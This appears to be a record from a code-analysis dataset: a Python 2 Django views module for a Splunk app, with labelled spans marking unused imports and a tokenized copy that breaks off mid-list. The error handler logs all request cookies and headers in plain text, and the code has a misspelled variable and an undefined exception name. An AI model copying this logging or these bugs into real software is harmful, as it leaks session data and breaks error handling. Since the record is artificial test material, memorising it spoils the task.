[ { "content": "import sys\nimport pprint\nimport json\nimport datetime\nimport uuid\nimport urllib\nimport types\nimport traceback\nfrom django.core.urlresolvers import reverse, resolve\nfrom django.http import HttpResponseRedirect, Http404, HttpResponseServerError, HttpResponseNotFound\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.cache import never_cache\nfrom django.views.debug import ExceptionReporter, get_safe_settings\nfrom django.template import TemplateDoesNotExist, Context\nfrom django.template.loader import render_to_string\nfrom django.utils.encoding import force_bytes\nfrom django.shortcuts import render\nfrom splunkdj.decorators.render import render_to\nfrom splunkdj.utility import make_splunkweb_url\nfrom urlparse import urlparse\n\nimport logging\nlogger = logging.getLogger('spl.django.service')\nerror_logger = logging.getLogger('spl.django.request_error')\n \n \n \n \n \n\n\n \n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def format(value):\n \"\"\"\n Format values appropriately for json.dumps:\n - Basic types will remain the same\n - Unicode will be converted to str\n - Everything else will be formatted using pprint\n \"\"\"\n if value is None:\n return value\n if isinstance(value, (int, long, str, float, list, dict, tuple, bool, unicode)):\n return value\n return str(pprint.pformat(value))", "metadata": "root.format", "header": "['module', '___EOS___']", "index": 26 }, { "content": "def get_exception_info(request): \n # We use Django's debug reporter, even though we are doing our own template.\n # This is because it has a great way of collecting all the useful info we \n # need, so no reason not to leverage it \n exc_info = sys.exc_info()\n reporter = ExceptionReporter(request, *exc_info)\n ctx = reporter.get_traceback_data()\n \n # This is a refactor of what the technical_500_template contains, just\n # doing the logic in Python rather than in a template. We collect all this\n # information so that we can log it.\n exception_type = ctx['exception_type'] if 'exception_type' in ctx else \"No exception supplied\"\n exception_value = ctx['exception_value'] if 'exception_value' in ctx else \"No exception supplied\"\n django_version = ctx[\"django_version_info\"]\n python_executable = ctx['sys_executable']\n python_version = ctx['sys_version_info']\n python_path = ctx['sys_path']\n server_time = str(ctx['server_time'])\n unicode_hint = None\n if 'unicode_hint' in ctx:\n unicdoe_hint = ctx['unicode_hint']\n last_frame = None\n if 'lastframe' in ctx:\n frame_info = ctx['lastframe']\n last_frame = \"%s in %s, line %s\" % (frame_info['filename'], frame_info['function'], frame_info['lineno'])\n loaders = []\n if 'template_does_not_exist' in ctx and 'loader_debug_info' in ctx and ctx['loader_debug_info']:\n for loader in ctx['loader_debug_info']:\n loader_info = {\"name\": loader['loader'], \"templates\": []}\n for tmpl in loader['templates']:\n loader_info['templates'].append({\"file\": tmpl['name'], \"exists\": tmpl['exists']})\n loaders.append(loader_info)\n template_errors = None\n if 'template_info' in ctx and ctx['template_info']:\n template_info = ctx['template_info']\n template_errors = {\n \"name\": template_info['name'],\n \"line\": template_info['line'],\n \"message\": template_info['message']\n }\n exception_info = []\n if 'frames' in ctx:\n frames = ctx['frames']\n for frame in frames:\n frame_info = {\n \"filename\": frame['filename'],\n \"function\": frame['function'],\n \"line\": frame['lineno'],\n \"context_line\": frame['context_line'],\n \"vars\": []\n }\n if 'vars' in frame:\n for var in frame['vars']:\n frame_info['vars'].append({\n \"variable\": str(var[0]),\n \"value\": format(var[1])\n })\n exception_info.append(frame_info)\n request_info = {\n \"path_info\": request.path_info,\n \"method\": request.META['REQUEST_METHOD'],\n \"url\": request.build_absolute_uri(),\n \"GET\": {},\n \"POST\": {},\n \"FILES\": {},\n \"COOKIES\": {},\n \"META\": {}\n }\n if hasattr(request, \"GET\"):\n for key, value in request.GET.iteritems():\n request_info['GET'][key] = format(value)\n if \"filtered_POST\" in ctx:\n for key, value in ctx['filtered_POST'].iteritems():\n request_info['POST'][key] = format(value)\n if hasattr(request, \"FILES\"):\n for key, value in request.FILES.iteritems():\n request_info['FILES'][key] = format(value)\n if hasattr(request, \"COOKIES\"):\n for key, value in request.COOKIES.iteritems():\n request_info['COOKIES'][key] = format(value)\n if hasattr(request, \"META\"):\n for key, value in request.META.iteritems():\n request_info['META'][key] = format(value)\n settings_info = {}\n for key, value in ctx['settings'].iteritems():\n settings_info[key] = format(value)\n \n ctx['errorid'] = errorid = uuid.uuid4().hex\n \n full_info = dict(\n __time=datetime.datetime.now().isoformat(),\n __uuid=errorid,\n settings=settings_info,\n request=request_info,\n traceback=exception_info,\n stack=traceback.format_exc(exc_info[2]),\n last_frame=last_frame,\n template_loaders=loaders,\n template_errors=template_errors,\n unicode_hint=unicdoe_hint,\n exception_type=exception_type,\n exception_value=exception_value,\n django_version=django_version,\n python_version=python_version,\n python_executable=python_executable,\n python_path=python_path,\n server_time=server_time\n )\n \n return (errorid, ctx, full_info)", "metadata": "root.get_exception_info", "header": "['module', '___EOS___']", "index": 39 }, { "content": "def redirector(request, app, view):\n params = {}\n \n for (key, val) in request.GET.iteritems():\n params[key] = val\n\n full_name = \"%s:%s\" % (app, view)\n \n if not view or not app:\n logger.error(\"Redirector requires both 'app' and 'view' to be set, received: app='%s' view='%s'\" % (app, view))\n raise Error(\"Redirector requires both 'app' and 'view' to be set, received: app='%s' view='%s'\" % (app, view))\n \n return HttpResponseRedirect(reverse(full_name, kwargs=params))", "metadata": "root.redirector", "header": "['module', '___EOS___']", "index": 150 }, { "content": "def default_search(request):\n app = request.app_name\n lang_code = request.LANGUAGE_CODE\n return HttpResponseRedirect(make_splunkweb_url(\"/%s/app/%s/search\" % (lang_code, app)))", "metadata": "root.default_search", "header": "['module', '___EOS___']", "index": 164 }, { "content": "def default_flashtimeline(request):\n app = request.app_name\n lang_code = request.LANGUAGE_CODE\n return HttpResponseRedirect(make_splunkweb_url(\"/%s/app/%s/flashtimeline\" % (lang_code, app)))", "metadata": "root.default_flashtimeline", "header": "['module', '___EOS___']", "index": 169 }, { "content": "@render_to()\n@login_required\ndef default_template_render(request, template_name):\n app = request.app_name\n template_path = \"%s:%s.html\" % (app, template_name)\n return {\n \"TEMPLATE\": template_path\n }", "metadata": "root.default_template_render", "header": "['module', '___EOS___']", "index": 174 }, { "content": "@never_cache\ndef handle404(request): \n # This code is modified from views/debug.py in Django, as we want to display\n # a debug style view, just modified slightly.\n exc_info = sys.exc_info()\n exception = exc_info[1]\n \n try:\n tried = exception.args[0]['tried']\n except (IndexError, TypeError, KeyError):\n tried = []\n\n urlconf = getattr(request, 'urlconf', settings.ROOT_URLCONF)\n if isinstance(urlconf, types.ModuleType):\n urlconf = urlconf.__name__\n\n c = Context({\n 'urlconf': urlconf,\n 'root_urlconf': settings.ROOT_URLCONF,\n 'request_path': request.path_info[1:], # Trim leading slash\n 'urlpatterns': tried,\n 'reason': force_bytes(exception, errors='replace'),\n 'request': request,\n 'settings': get_safe_settings(),\n })\n \n return HttpResponseNotFound(render_to_string('splunkdj:404.html', context_instance=c))", "metadata": "root.handle404", "header": "['module', '___EOS___']", "index": 183 }, { "content": "@never_cache\ndef handle500(request): \n # Let's attempt to render a more useful error message\n errorid, ctx, exception = get_exception_info(request)\n \n # We log the raw error to the log file, so that splunk can pick it up as\n # JSON.\n error_logger.error(json.dumps(exception, sort_keys=True))\n \n # Build up the URL for making the query\n lang_code = request.LANGUAGE_CODE\n query_args = {\n \"q\": 'search index=_internal sourcetype=django_error \"%s\" | head 1 | spath' % errorid,\n \"display.events.maxlines\": 0,\n \"display.general.type\": \"events\",\n \"earliest\": 0,\n \"latest\": \"\"\n }\n query_string = urllib.urlencode(query_args)\n ctx['search_url'] = make_splunkweb_url(\"/%s/app/search/search?%s\" % (lang_code, query_string))\n \n return HttpResponseServerError(render_to_string('splunkdj:500.html', context_instance=Context(ctx)))", "metadata": "root.handle500", "header": "['module', '___EOS___']", "index": 211 }, { "content": "@never_cache\n@render_to('splunkdj:page_config.html', mimetype=\"application/javascript\")\n@login_required\ndef get_page_config(request):\n referer = request.META.get(\"HTTP_REFERER\", \"\")\n app = \"\"\n app_label = \"\"\n if referer:\n try:\n parsed = urlparse(referer)\n parsed_path = parsed.path.replace(\"/%s/\" % settings.MOUNT, \"/\")\n resolved = resolve(parsed_path)\n app = resolved.app_name\n \n if app:\n app_label = request.service.apps[app][\"label\"]\n except Exception, e:\n # If there was an error here, don't kill the entire page\n # just return some default info\n app = app or \"\"\n app_label = app_label or app\n \n zone_info = request.service.get('/services/search/timeparser/tz').body.read()\n \n return {\n \"autoload\": \"1\" == request.GET.get(\"autoload\", \"0\"),\n \"config\": json.dumps({\n \"SPLUNKD_FREE_LICENSE\": request.user.is_free,\n \"MRSPARKLE_ROOT_PATH\": \"/%s\" % str(settings.SPLUNK_WEB_MOUNT).strip(\"/\"),\n \"DJANGO_ROOT_PATH\": \"/%s\" % str(settings.RAW_MOUNT),\n \"MRSPARKLE_PORT_NUMBER\": str(settings.SPLUNK_WEB_PORT),\n \"DJANGO_PORT_NUMBER\": str(settings.DJANGO_PORT),\n \"LOCALE\": str(request.LANGUAGE_CODE),\n \"JS_LOGGER_MODE\": \"None\",\n \"USERNAME\": str(request.user.username),\n \"USER_DISPLAYNAME\": str(request.user.realname),\n \"APP\": str(app),\n \"APP_DISPLAYNAME\": str(app_label),\n \"SERVER_ZONEINFO\": str(zone_info),\n })\n }", "metadata": "root.get_page_config", "header": "['module', '___EOS___']", "index": 234 } ]
[ { "span": "from django.http import HttpResponseRedirect, Http404, HttpResponseServerError, HttpResponseNotFound", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 100 }, { "span": "from django.template import TemplateDoesNotExist, Context", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 57 }, { "span": "from django.shortcuts import render", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 35 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", ",_", "resolve_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Respons", "e", "Redirect_", ",_", "Http404_", ",_", "Http", "Respons", "e", "Server", "Error_", ",_", "Http", "Respons", "e", "Not", "Found_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "decorators_", "import_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "decorators_", "._", "cache_", "import_", "neve", "r", "\\u", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "debug_", "import_", "Except", "ion", "Reporter_", ",_", "get", "\\u", "safe", "\\u", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "Templa", "te", "Do", "es", "Not", "Exist_", ",_", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "._", "loader_", "import_", "render", "\\u", "to", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "encoding_", "import_", "force", "\\u", "bytes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "render_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "splu", "nk", "dj", "_", "._", "decorators_", "._", "render_", "import_", "render", "\\u", "to_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "splu", "nk", "dj", "_", "._", "utility_", "import_", "make", "\\u", "splu", "nk", "web", "\\u", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urlparse_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "spl", ".", "django", ".", "service", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error", "\\u", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "spl", ".", "django", ".", "request", "\\u", "error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "format_", "(_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Format", " ", "values", " ", "appropr", "iate", "ly", " ", "for", " ", "json", ".", "dump", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Basic", " ", "types", " ", "will", " ", "rema", "in", " ", "the", " ", "same", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Unic", "ode", " ", "will", " ", "be", " ", "convert", "ed", " ", "to", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Every", "thing", " ", "else", " ", "will", " ", "be", " ", "format", "ted", " ", "usi", "ng", " ", "ppr", "int", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "value_", ",_", "(_", "int_", ",_", "long_", ",_", "str_", ",_", "float_", ",_", "list_", ",_", "dict_", ",_", "tuple_", ",_", "bool_", ",_", "unicode_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "str_", "(_", "pprint_", "._", "pformat_", "(_", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "exception", "\\u", "info_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "use", " ", "Dj", "ang", "o", "'", "s", " ", "debug", " ", "reporter", ",", " ", "even", " ", "tho", "ugh", " ", "we", " ", "are", " ", "doi", "ng", " ", "our", " ", "own", " ", "template", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "bec", "aus", "e", " ", "it", " ", "has", " ", "a", " ", "great", " ", "way", " ", "of", " ", "collecti", "ng", " ", "all", " ", "the", " ", "usef", "ul", " ", "info", " ", "we", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "need", ",", " ", "so", " ", "no", " ", "reason", " ", "not", " ", "to", " ", "leve", "rage", " ", "it", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exc", "\\u", "info_", "=_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reporter_", "=_", "Except", "ion", "Reporter_", "(_", "request_", ",_", "*_", "exc", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "=_", "reporter_", "._", "get", "\\u", "traceback", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "refactor", " ", "of", " ", "what", " ", "the", " ", "technical", "\\u", "500", "\\u", "template", " ", "contain", "s", ",", " ", "just", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "doi", "ng", " ", "the", " ", "logic", " ", "in", " ", "Pyth", "on", " ", "rat", "her", " ", "than", " ", "in", " ", "a", " ", "template", ".", " ", "We", " ", "collect", " ", "all", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "informati", "on", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "log", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "exception", "\\u", "type_", "=_", "ctx_", "[_", "'", "exception", "\\u", "type", "'_", "]_", "if_", "'", "exception", "\\u", "type", "'_", "in_", "ctx_", "else_", "\"", "No", " ", "exception", " ", "supplie", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exception", "\\u", "value_", "=_", "ctx_", "[_", "'", "exception", "\\u", "value", "'_", "]_", "if_", "'", "exception", "\\u", "value", "'_", "in_", "ctx_", "else_", "\"", "No", " ", "exception", " ", "supplie", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "django", "\\u", "version_", "=_", "ctx_", "[_", "\"", "django", "\\u", "version", "\\u", "info", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "python", "\\u", "executable_", "=_", "ctx_", "[_", "'", "sys", "\\u", "executable", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "python", "\\u", "version_", "=_", "ctx_", "[_", "'", "sys", "\\u", "version", "\\u", "info", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "python", "\\u", "path_", "=_", "ctx_", "[_", "'", "sys", "\\u", "path", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "\\u", "time_", "=_", "str_", "(_", "ctx_", "[_", "'", "server", "\\u", "time", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unicode", "\\u", "hint_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "unicode", "\\u", "hin", "t", "'_", "in_", "ctx_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uni", "cdo", "e\\u", "hint_", "=_", "ctx_", "[_", "'", "unicode", "\\u", "hin", "t", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "last", "\\u", "frame_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "lastf", "rame", "'_", "in_", "ctx_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame", "\\u", "info_", "=_", "ctx_", "[_", "'", "lastf", "rame", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "frame_", "=_", "\"%", "s", " ", "in", " ", "%", "s", ",", " ", "line", " ", "%", "s", "\"_", "%_", "(_", "frame", "\\u", "info_", "[_", "'", "filename", "'_", "]_", ",_", "frame", "\\u", "info_", "[_", "'", "function", "'_", "]_", ",_", "frame", "\\u", "info_", "[_", "'", "linen", "o", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loaders_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "template", "\\u", "doe", "s", "\\u", "not", "\\u", "exist", "'_", "in_", "ctx_", "and_", "'", "load", "er", "\\u", "debug", "\\u", "info", "'_", "in_", "ctx_", "and_", "ctx_", "[_", "'", "load", "er", "\\u", "debug", "\\u", "info", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "loader_", "in_", "ctx_", "[_", "'", "load", "er", "\\u", "debug", "\\u", "info", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "er", "\\u", "info_", "=_", "{_", "\"", "name", "\"_", ":_", "loader_", "[_", "'", "load", "er", "'_", "]_", ",_", "\"", "template", "s", "\"_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "tmpl_", "in_", "loader_", "[_", "'", "template", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "er", "\\u", "info_", "[_", "'", "template", "s", "'_", "]_", "._", "append_", "(_", "{_", "\"", "file", "\"_", ":_", "tmpl_", "[_", "'", "name", "'_", "]_", ",_", "\"", "exist", "s", "\"_", ":_", "tmpl_", "[_", "'", "exist", "s", "'_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loaders_", "._", "append_", "(_", "load", "er", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "template", "\\u", "errors_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "template", "\\u", "info", "'_", "in_", "ctx_", "and_", "ctx_", "[_", "'", "template", "\\u", "info", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template", "\\u", "info_", "=_", "ctx_", "[_", "'", "template", "\\u", "info", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template", "\\u", "errors_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "name", "\"_", ":_", "template", "\\u", "info_", "[_", "'", "name", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "line", "\"_", ":_", "template", "\\u", "info_", "[_", "'", "line", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "message", "\"_", ":_", "template", "\\u", "info_", "[_", "'", "message", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "exception", "\\u", "info_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "frames", "'_", "in_", "ctx_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frames_", "=_", "ctx_", "[_", "'", "frames", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "frame_", "in_", "frames_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame", "\\u", "info_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "frame_", "[_", "'", "filename", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "function", "\"_", ":_", "frame_", "[_", "'", "function", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "line", "\"_", ":_", "frame_", "[_", "'", "linen", "o", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "context", "\\u", "line", "\"_", ":_", "frame_", "[_", "'", "context", "\\u", "line", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "vars", "\"_", ":_", "[_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "vars", "'_", "in_", "frame_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "var_", "in_", "frame_", "[_", "'", "vars", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "frame", "\\u", "info_", "[_", "'", "vars", "'_", "]_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "variab", "le", "\"_", ":_", "str_", "(_", "var_", "[_", "0_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "value", "\"_", ":_", "format_", "(_", "var_", "[_", "1_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "exception", "\\u", "info_", "._", "append_", "(_", "frame", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request", "\\u", "info_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "path", "\\u", "info", "\"_", ":_", "request_", "._", "path", "\\u", "info_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "method", "\"_", ":_", "request_", "._", "META_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "url", "\"_", ":_", "request_", "._", "build", "\\u", "abs", "olute", "\\u", "uri_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "GET", "\"_", ":_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "POST", "\"_", ":_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "FILE", "S", "\"_", ":_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "COOKIE", "S", "\"_", ":_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "MET", "A", "\"_", ":_", "{_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "request_", ",_", "\"", "GET", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "value_", "in_", "request_", "._", "GET_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request", "\\u", "info_", "[_", "'", "GET", "'_", "]_", "[_", "key_", "]_", "=_", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "filter", "ed", "\\u", "POST", "\"_", "in_", "ctx_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "value_", "in_", "ctx_", "[_", "'", "filter", "ed", "\\u", "POST", "'_", "]_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request", "\\u", "info_", "[_", "'", "POST", "'_", "]_", "[_", "key_", "]_", "=_", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "request_", ",_", "\"", "FILE", "S", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "value_", "in_", "request_", "._", "FILES_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request", "\\u", "info_", "[_", "'", "FILE", "S", "'_", "]_", "[_", "key_", "]_", "=_", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "request_", ",_", "\"", "COOKIE", "S", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "value_", "in_", "request_", "._", "COOKIE", "S_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request", "\\u", "info_", "[_", "'", "COOKIE", "S", "'_", "]_", "[_", 